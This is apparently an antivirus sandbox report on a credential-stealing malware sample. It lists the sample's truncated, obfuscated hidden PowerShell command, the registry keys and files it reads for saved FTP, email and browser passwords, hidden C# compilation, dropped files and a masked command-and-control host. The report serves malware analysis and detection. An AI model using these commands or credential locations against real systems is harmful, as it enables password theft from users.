Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function jce3b7 {param($ud993f9)$b2269='m361a';$z1dc9b='';for ($i=0; $i -lt $ud993f9.length;$i+=2){$ge6ed=[convert]::ToByte($ud993f9.Substring($i,2),16);$z1dc9b+=[char]($g...
Injects code into
the following user processes:
- z2db262.exe
Searches for registry branches where third party applications store passwords
- [<HKCU>\Software\RimArts\B2\Settings]
- [<HKCU>\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions]
- [<HKCU>\Software\FTPWare\COREFTP\Sites]
Reads files which store third party applications passwords
- %APPDATA%\opera software\opera stable\login data
- %APPDATA%\thunderbird\profiles.ini
Modifies file system
Creates the following files
- %TEMP%\h78ukxmd.0.cs
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\policy.vpol
- %APPDATA%\z2db262.exe
- %WINDIR%\serviceprofiles\networkservice\appdata\locallow\microsoft\cryptneturlcache\content\f0accf77cdcbff39f6191887f6d2d357
- %WINDIR%\serviceprofiles\networkservice\appdata\locallow\microsoft\cryptneturlcache\metadata\f0accf77cdcbff39f6191887f6d2d357
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{1b0659bd-914f-4e5f-a4e9-b311c2772669}.tmp
- %TEMP%\h78ukxmd.dll
- %TEMP%\9l1avqv1.dll
- %TEMP%\btlrjeni.dll
- %TEMP%\res4c1.tmp
- %TEMP%\res444.tmp
- %TEMP%\rtfneuib.dll
- %TEMP%\res424.tmp
- %TEMP%\res405.tmp
- %TEMP%\csc4b0.tmp
- %TEMP%\csc433.tmp
- %TEMP%\csc414.tmp
- %TEMP%\csc3f5.tmp
- %TEMP%\btlrjeni.out
- %TEMP%\btlrjeni.cmdline
- %TEMP%\btlrjeni.0.cs
- %TEMP%\9l1avqv1.out
- %TEMP%\9l1avqv1.cmdline
- %TEMP%\9l1avqv1.0.cs
- %TEMP%\rtfneuib.out
- %TEMP%\rtfneuib.cmdline
- %TEMP%\rtfneuib.0.cs
- %TEMP%\h78ukxmd.out
- %TEMP%\h78ukxmd.cmdline
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch
- %LOCALAPPDATA%\microsoft\vault\4bf4c442-9b8a-41a0-b380-dd4a704ddb28\policy.vpol
Deletes the following files
- %TEMP%\res405.tmp
- %TEMP%\9l1avqv1.0.cs
- %TEMP%\9l1avqv1.pdb
- %TEMP%\9l1avqv1.cmdline
- %TEMP%\btlrjeni.pdb
- %TEMP%\btlrjeni.cmdline
- %TEMP%\btlrjeni.0.cs
- %TEMP%\btlrjeni.dll
- %TEMP%\btlrjeni.out
- %TEMP%\h78ukxmd.0.cs
- %TEMP%\h78ukxmd.dll
- %TEMP%\h78ukxmd.pdb
- %TEMP%\h78ukxmd.out
- %TEMP%\h78ukxmd.cmdline
- %TEMP%\csc4b0.tmp
- %TEMP%\res4c1.tmp
- %TEMP%\csc433.tmp
- %TEMP%\res444.tmp
- %TEMP%\csc414.tmp
- %TEMP%\res424.tmp
- %TEMP%\rtfneuib.cmdline
- %TEMP%\rtfneuib.out
- %TEMP%\rtfneuib.dll
- %TEMP%\rtfneuib.0.cs
- %TEMP%\rtfneuib.pdb
- %TEMP%\csc3f5.tmp
- %TEMP%\9l1avqv1.dll
- %TEMP%\9l1avqv1.out
Network activity
TCP
- 'ni#######naver.servebeer.com':443
UDP
- DNS ASK ni#######naver.servebeer.com
Miscellaneous
Creates and executes the following
- '%APPDATA%\z2db262.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function jce3b7 {param($ud993f9)$b2269='m361a';$z1dc9b='';for ($i=0; $i -lt $ud993f9.length;$i+=2){$ge6ed=[convert]::ToByte($ud993f9.Substring($i,2),16);$z1dc9b+=[char]($g...' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\h78ukxmd.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\rtfneuib.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\9l1avqv1.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\btlrjeni.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES405.tmp" "%TEMP%\CSC3F5.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES424.tmp" "%TEMP%\CSC414.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES444.tmp" "%TEMP%\CSC433.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4C1.tmp" "%TEMP%\CSC4B0.tmp"' (with hidden window)
Executes the following
- '%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
- '%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\h78ukxmd.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\rtfneuib.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\9l1avqv1.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\btlrjeni.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES405.tmp" "%TEMP%\CSC3F5.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES424.tmp" "%TEMP%\CSC414.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES444.tmp" "%TEMP%\CSC433.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4C1.tmp" "%TEMP%\CSC4B0.tmp"
